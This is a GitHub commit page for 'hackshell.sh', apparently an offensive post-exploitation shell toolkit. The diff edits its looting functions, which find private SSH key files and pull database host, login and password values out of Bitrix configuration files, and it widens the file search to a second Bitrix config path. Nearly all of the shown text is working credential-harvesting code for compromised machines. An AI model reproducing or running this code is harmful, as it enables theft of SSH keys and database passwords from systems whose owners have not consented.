Skip to content

Commit

Permalink
no double deploys
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Nov 10, 2024
1 parent 5ef0d19 commit 7c572a1
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions hackshell.sh
Original file line number Diff line number Diff line change
Expand Up @@ -728,9 +728,9 @@ bin() {

loot_sshkey() {
local str
local fn="${1:?}"
local fn="${1}"

[ ! -s "${fn}" ] && return
{ [ -z "$s" ] || [ ! -s "${fn}" ]; } && return
grep -Fqam1 'PRIVATE KEY' "${fn}" || return

[ -n "$_HS_SETSID_WAIT" ] && {
Expand All @@ -747,7 +747,9 @@ loot_bitrix() {
[ ! -f "$fn" ] && return
grep -Fqam1 '$_ENV[' "$fn" && return
echo -e "${CB}Bitrix-DB ${CDY}${fn}${CF}"
grep --color=never -E "(host|database|login|password)'.*=" "${fn}" | sed 's/\s*//g'
# 'password' => 'abcd',
# $DBPassword = 'abcd';
grep -i --color=never -E "(host|database|login|Password).*=.* '" "${fn}" | sed 's/\s*//g'
echo -en "${CN}"
}

Expand Down Expand Up @@ -1194,7 +1196,7 @@ loot() {
# done
# done
find "${HOMEDIRARR[@]}" -maxdepth 6 -type f -wholename "*/bitrix/.settings.php" 2>/dev/null | while read -r fn; do
find "${HOMEDIRARR[@]}" -maxdepth 6 -type f -wholename "*/bitrix/.settings.php" -o -wholename "*/bitrix/php_interface/dbconn.php" 2>/dev/null | while read -r fn; do
loot_bitrix "$fn"
done
Expand Down

0 comments on commit 7c572a1

Please sign in to comment.